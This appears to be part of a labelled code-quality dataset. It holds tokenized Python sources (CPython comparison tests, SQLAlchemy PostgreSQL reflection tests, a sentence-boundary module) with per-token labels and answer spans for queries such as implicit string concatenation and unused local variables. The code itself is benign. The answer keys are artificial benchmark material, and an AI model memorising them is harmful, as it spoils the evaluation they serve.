"opm", "ap_", "[_", "opname", "_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "real", "res_", "=_", "op_", "(_", "ta_", ",_", "tb_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "real", "res_", "=_", "getattr_", "(_", "real", "res_", ",_", "\"", "x", "\"_", ",_", "real", "res_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "real", "res_", "is_", "expr", "es_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mis", "c", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "support_", "._", "no", "\\u", "tracing", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "recursion", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Check", " ", "tha", "t", " ", "compa", "ris", "on", " ", "for", " ", "recurs", "ive", " ", "object", "s", " ", "fail", "s", " ", "graceful", "ly_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "collections_", "import_", "User", "List_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "User", "List_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "User", "List_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "._", "append_", "(_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "._", "append_", "(_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Run", "time", "Error_", ",_", "operator_", "._", "eq_", ",_", "a_", ",_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Run", "time", "Error_", ",_", "operator_", "._", "ne_", ",_", "a_", ",_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Run", "time", "Error_", ",_", "operator_", "._", "lt_", ",_", "a_", ",_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Run", "time", "Error_", ",_", "operator_", "._", "le_", ",_", "a_", ",_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Run", "time", "Error_", ",_", "operator_", "._", "gt_", ",_", "a_", ",_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Run", "time", "Error_", ",_", "operator_", "._", "ge_", ",_", "a_", ",_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "b_", "._", "append_", "(_", "17_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Even", " ", "recurs", "ive", " ", "lists", " ", "of", " ", "different", " ", "length", "s", " ", "are", " ", "different", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "but", " ", "the", "y", " ", "cann", "ot", " ", "be", " ", "ordered_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "not_", "(_", "a_", "==_", "b_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "a_", "!=_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Run", "time", "Error_", ",_", "operator_", "._", "lt_", ",_", "a_", ",_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Run", "time", "Error_", ",_", "operator_", "._", "le_", ",_", "a_", ",_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Run", "time", "Error_", ",_", "operator_", "._", "gt_", ",_", "a_", ",_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Run", "time", "Error_", ",_", "operator_", "._", "ge_", ",_", "a_", ",_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "._", "append_", "(_", "17_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Run", "time", "Error_", ",_", "operator_", "._", "eq_", ",_", "a_", ",_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Run", "time", "Error_", ",_", "operator_", "._", "ne_", ",_", "a_", ",_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "._", "insert_", "(_", "0_", ",_", "11_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "._", "insert_", "(_", "0_", ",_", "12_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "not_", "(_", "a_", "==_", "b_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "a_", "!=_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "a_", "<_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dict", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "dicts_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Verify", " ", "tha", "t", " ", "\\u\\u", "eq", "\\u\\u", " ", "and", " ", "\\u\\u", "ne", "\\u\\u", " ", "work", " ", "for", " ", "dict", "s", " ", "even", " ", "if", " ", "the", " ", "keys", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "values", " ", "don", "'", "t", " ", "support", " ", "anyt", "hing", " ", "other", " ", "than", " ", "\\u\\u", "eq", "\\u\\u", " ", "and", " ", "\\u\\u", "ne", "\\u\\u", " ", "(", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\\u\\u", "hash", "\\u\\u)", ".", " ", " ", "Comple", "x", " ", "numbers", " ", "are", " ", "a", " ", "fine", " ", "example", " ", "of", " ", "tha", "t", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "random_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "imag", "1a_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "50_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "imag", "1a_", "[_", "random_", "._", "randrange_", "(_", "100_", ")_", "*_", "1j_", "]_", "=_", "random_", "._", "randrange_", "(_", "100_", ")_", "*_", "1j_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "items_", "=_", "list_", "(_", "imag", "1a_", "._", "items_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "random_", "._", "shuffle_", "(_", "items_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "imag", "1b", "_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "k_", ",_", "v_", "in_", "items_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "imag", "1b", "_", "[_", "k_", "]_", "=_", "v_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "imag", "2_", "=_", "imag", "1b", "_", "._", "copy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "imag", "2_", "[_", "k_", "]_", "=_", "v_", "+_", "1.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "imag", "1a_", ",_", "imag", "1a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "imag", "1a_", ",_", "imag", "1b", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "imag", "2_", ",_", "imag", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "imag", "1a_", "!=_", "imag", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "opname", "_", "in_", "(_", "\"", "lt", "\"_", ",_", "\"", "le", "\"_", ",_", "\"", "gt", "\"_", ",_", "\"", "ge", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "op_", "in_", "opm", "ap_", "[_", "opname", "_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "op_", ",_", "imag", "1a_", ",_", "imag", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Implicit string concatenation in a list
zzzeek/sqlalchemy/test/dialect/postgresql/test_reflection.py
[ { "content": " @classmethod\n def define_tables(cls, metadata):\n from sqlalchemy.testing import config\n dblink = config.file_config.get(\n 'sqla_testing', 'postgres_test_db_link')\n\n testtable = Table(\n 'testtable', metadata,\n Column('id', Integer, primary_key=True),\n Column('data', String(30)))\n\n for ddl in [\n \"CREATE SERVER test_server FOREIGN DATA WRAPPER postgres_fdw \"\n \"OPTIONS (dbname 'test', host '%s')\" % dblink,\n \"CREATE USER MAPPING FOR public \\\n SERVER test_server options (user 'scott', password 'tiger')\",\n \"CREATE FOREIGN TABLE test_foreigntable ( \"\n \" id INT, \"\n \" data VARCHAR(30) \"\n \") SERVER test_server OPTIONS (table_name 'testtable')\",\n ]:\n sa.event.listen(metadata, \"after_create\", sa.DDL(ddl))\n\n for ddl in [\n 'DROP FOREIGN TABLE test_foreigntable',\n 'DROP USER MAPPING FOR public SERVER test_server',\n \"DROP SERVER test_server\"\n ]:\n sa.event.listen(metadata, \"before_drop\", sa.DDL(ddl))", "metadata": "root.ForeignTableReflectionTest.define_tables", "header": "['class', 'ForeignTableReflectionTest', '(', 'fixtures', '.', 'TablesTest', ',', 'AssertsExecutionResults', ')', ':', '___EOS___']", "index": 25 }, { "content": " @testing.provide_metadata\n def test_index_reflection(self):\n \"\"\" Reflecting partial & expression-based indexes should warn\n \"\"\"\n\n metadata = self.metadata\n\n t1 = Table(\n 'party', metadata,\n Column(\n 'id', String(10), nullable=False),\n Column(\n 'name', String(20), index=True),\n Column(\n 'aname', String(20)))\n metadata.create_all()\n testing.db.execute(\"\"\"\n create index idx1 on party ((id || name))\n \"\"\")\n testing.db.execute(\"\"\"\n create unique index idx2 on party (id) where name = 'test'\n \"\"\")\n testing.db.execute(\"\"\"\n create index idx3 on party using btree\n (lower(name::text), lower(aname::text))\n \"\"\")\n\n def go():\n m2 = MetaData(testing.db)\n t2 = Table('party', m2, autoload=True)\n assert len(t2.indexes) == 2\n\n # Make sure indexes are in the order we expect them in\n\n tmp = [(idx.name, idx) for idx in t2.indexes]\n tmp.sort()\n r1, r2 = [idx[1] for idx in tmp]\n assert r1.name == 'idx2'\n assert r1.unique == True\n assert r2.unique == False\n assert [t2.c.id] == r1.columns\n assert [t2.c.name] == r2.columns\n\n testing.assert_warnings(\n go,\n ['Skipped unsupported reflection of '\n 'expression-based index idx1',\n 'Predicate of partial index idx2 ignored during '\n 'reflection',\n 'Skipped unsupported reflection of '\n 'expression-based index idx3'])", "metadata": "root.ReflectionTest.test_index_reflection", "header": "['class', 'ReflectionTest', '(', 'fixtures', '.', 'TestBase', ')', ':', '___EOS___']", "index": 610 } ]
[ { "span": "\"CREATE FOREIGN TABLE test_foreigntable ( \"\n \" id INT, \"\n \" data VARCHAR(30) \"\n \") SERVER test_server OPTIONS (table_name 'testtable')\",", "start_line": 41, "start_column": 12, "end_line": 44, "end_column": 67 }, { "span": "'Skipped unsupported reflection of '\n 'expression-based index idx1',", "start_line": 655, "start_column": 13, "end_line": 656, "end_column": 42 }, { "span": "'Predicate of partial index idx2 ignored during '\n 'reflection',", "start_line": 657, "start_column": 13, "end_line": 658, "end_column": 25 }, { "span": "'Skipped unsupported reflection of '\n 'expression-based index idx3']", "start_line": 659, "start_column": 13, "end_line": 660, "end_column": 42 } ]
[]
1
true
[ "[CLS]_", "Implicit", "_", "string_", "concate", "nation_", "in_", "a_", "list_", "[SEP]_", "class_", "Fore", "ign", "Table", "Reflect", "ion", "Test_", "(_", "fixtures_", "._", "Table", "s", "Test_", ",_", "Assert", "s", "Execut", "ion", "Results_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "defin", "e\\u", "tables_", "(_", "cls_", ",_", "metadata_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "sqlalchemy_", "._", "testing_", "import_", "config_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dbl", "ink_", "=_", "config_", "._", "file", "\\u", "config_", "._", "get_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sqla", "\\u", "testi", "ng", "'_", ",_", "'", "postgres", "\\u", "test\\u", "db", "\\u", "link", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "testt", "able_", "=_", "Table_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'", "testt", "able", "'_", ",_", "metadata_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Column_", "(_", "'", "id", "'_", ",_", "Integer_", ",_", "primary", "\\u", "key_", "=_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Column_", "(_", "'", "data", "'_", ",_", "String_", "(_", "30_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "ddl", "_", "in_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "CREATE", " ", "SERVER", " ", "test\\u", "server", " ", "FORE", "IGN", " ", "DATA", " ", "WRAP", "PER", " ", "postgres", "\\u", "fd", "w", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "OPTION", "S", " ", "(", "db", "name", " ", "'", "test", "',", " ", "host", " ", "'%", "s", "')\"_", "%_", "dbl", "ink_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "CREATE", " ", "USER", " ", "MAPPING", " ", "FOR", " ", "public", " ", "\\\\", "\\", "10", ";", " ", " ", " ", " ", "SERVER", " ", "test\\u", "server", " ", "options", " ", "(", "user", " ", "'", "sco", "tt", "',", " ", "password", " ", "'", "tige", "r", "')\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "CREATE", " ", "FORE", "IGN", " ", "TAB", "LE", " ", "test\\u", "foreign", "table", " ", "(", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", " ", " ", " ", "id", " ", " ", "INT", ",", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", " ", " ", " ", "data", " ", " ", " ", " ", "VARCHA", "R", "(", "30", ")", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\")", " ", "SERVER", " ", "test\\u", "server", " ", "OPTION", "S", " ", "(", "table", "\\u", "name", " ", "'", "testt", "able", "')\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sa_", "._", "event_", "._", "listen_", "(_", "metadata_", ",_", "\"", "after", "\\u", "create", "\"_", ",_", "sa_", "._", "DD", "L_", "(_", "ddl", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "ddl", "_", "in_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "'", "DROP", " ", "FORE", "IGN", " ", "TAB", "LE", " ", "test\\u", "foreign", "table", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "DROP", " ", "USER", " ", "MAPPING", " ", "FOR", " ", "public", " ", "SERVER", " ", "test\\u", "server", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "DROP", " ", "SERVER", " ", "test\\u", "server", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sa_", "._", "event_", "._", "listen_", "(_", "metadata_", ",_", "\"", "bef", "ore", "\\u", "drop", "\"_", ",_", "sa_", "._", "DD", "L_", "(_", "ddl", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reflect", "ion", "Test_", "(_", "fixtures_", "._", "Test", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "testing_", "._", "provide", "\\u", "metadata_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "index", "\\u", "reflection_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Reflect", "ing", " ", "partial", " ", "&", " ", "express", "ion", "-", "based", " ", "indexe", "s", " ", "shou", "ld", " ", "warn", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "metadata_", "=_", "self_", "._", "metadata_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "t1_", "=_", "Table_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'", "part", "y", "'_", ",_", "metadata_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Column_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ",_", "String_", "(_", "10_", ")_", ",_", "nullable_", "=_", "False_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Column_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ",_", "String_", "(_", "20_", ")_", ",_", "index_", "=_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Column_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ana", "me", "'_", ",_", "String_", "(_", "20_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "metadata_", "._", "create", "\\u", "all_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "testing_", "._", "db_", "._", "execute_", "(_", "\"\"\"", "\\", "10", ";", " ", " ", "create", " ", "index", " ", "idx", "1", " ", "on", " ", "part", "y", " ", "((", "id", " ", "||", " ", "name", "))\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "testing_", "._", "db_", "._", "execute_", "(_", "\"\"\"", "\\", "10", ";", " ", " ", "create", " ", "unique", " ", "index", " ", "idx", "2", " ", "on", " ", "part", "y", " ", "(", "id", ")", " ", "where", " ", "name", " ", "=", " ", "'", "test", "'", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "testing_", "._", "db_", "._", "execute_", "(_", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "create", " ", "index", " ", "idx", "3", " ", "on", " ", "part", "y", " ", "usi", "ng", " ", "bt", "ree", "\\", "10", ";", " ", " ", " ", " ", "(", "lower", "(", "name", "::", "text", "),", " ", "lower", "(", "ana", "me", "::", "text", "))\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "go_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m2_", "=_", "Meta", "Data_", "(_", "testing_", "._", "db_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t2_", "=_", "Table_", "(_", "'", "part", "y", "'_", ",_", "m2_", ",_", "autoload", "_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "len_", "(_", "t2_", "._", "indexes_", ")_", "==_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Make", " ", "sure", " ", "indexe", "s", " ", "are", " ", "in", " ", "the", " ", "order", " ", "we", " ", "expect", " ", "them", " ", "in_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "tmp_", "=_", "[_", "(_", "idx_", "._", "name_", ",_", "idx_", ")_", "for_", "idx_", "in_", "t2_", "._", "indexes_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tmp_", "._", "sort_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "r1_", ",_", "r2_", "=_", "[_", "idx_", "[_", "1_", "]_", "for_", "idx_", "in_", "tmp_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "r1_", "._", "name_", "==_", "'", "idx", "2", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "r1_", "._", "unique_", "==_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "r2_", "._", "unique_", "==_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "[_", "t2_", "._", "c_", "._", "id_", "]_", "==_", "r1_", "._", "columns_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "[_", "t2_", "._", "c_", "._", "name_", "]_", "==_", "r2_", "._", "columns_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "testing_", "._", "assert", "\\u", "warnings_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "go_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "Skipped", " ", "unsup", "porte", "d", " ", "reflection", " ", "of", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "express", "ion", "-", "based", " ", "index", " ", "idx", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Predicate", " ", "of", " ", "partial", " ", "index", " ", "idx", "2", " ", "ignore", "d", " ", "dur", "ing", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "reflection", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Skipped", " ", "unsup", "porte", "d", " ", "reflection", " ", "of", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "express", "ion", "-", "based", " ", "index", " ", "idx", "3", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2 ]
Unused local variable
daeilkim/refinery/refinery/lib/sbd.py
[ { "content": "def get_features(frag, model):\n \"\"\"\n ... w1. (sb?) w2 ...\n Features, listed roughly in order of importance:\n\n (1) w1: word that includes a period\n (2) w2: the next word, if it exists\n (3) w1length: number of alphabetic characters in w1\n (4) w2cap: true if w2 is capitalized\n (5) both: w1 and w2\n (6) w1abbr: log count of w1 in training without a final period\n (7) w2lower: log count of w2 in training as lowercased\n (8) w1w2upper: w1 and w2 is capitalized\n \"\"\"\n words1 = clean(frag.tokenized).split()\n if not words1: w1 = ''\n else: w1 = words1[-1]\n if frag.next:\n words2 = clean(frag.next.tokenized).split()\n if not words2: w2 = ''\n else: w2 = words2[0]\n else:\n words2 = []\n w2 = ''\n\n c1 = re.sub('(^.+?\\-)', '', w1)\n c2 = re.sub('(\\-.+?)$', '', w2)\n\n feats = {}\n \n feats['w1'] = c1\n feats['w2'] = c2\n feats['both'] = c1 + '_' + c2\n\n len1 = min(10, len(re.sub('\\W', '', c1)))\n \n if c1.replace('.','').isalpha():\n feats['w1length'] = str(len1)\n try: feats['w1abbr'] = str(int(math.log(1+model.non_abbrs[c1[:-1]])))\n except: feats['w1abbr'] = str(int(math.log(1)))\n\n if c2.replace('.','').isalpha():\n feats['w2cap'] = str(c2[0].isupper())\n try: feats['w2lower'] = str(int(math.log(1+model.lower_words[c2.lower()])))\n except: feats['w2lower'] = str(int(math.log(1))) \n feats['w1w2upper'] = c1 + '_' + str(c2[0].isupper())\n\n return feats", "metadata": "root.get_features", "header": "['module', '___EOS___']", "index": 49 }, { "content": "def get_data(files, expect_labels=True, tokenize=False, verbose=False):\n \"\"\"\n load text from files, returning an instance of the Doc class\n doc.frag is the first frag, and each points to the next\n \"\"\"\n \n if type(files) == type(''): files = [files]\n frag_list = None\n word_index = 0\n frag_index = 0\n curr_words = []\n lower_words, non_abbrs = sbd_util.Counter(), sbd_util.Counter()\n\n for file in files:\n sys.stderr.write('reading [%s]\\n' %file)\n fh = open(file)\n for line in fh:\n\n ## deal with blank lines\n if (not line.strip()) and frag_list:\n if not 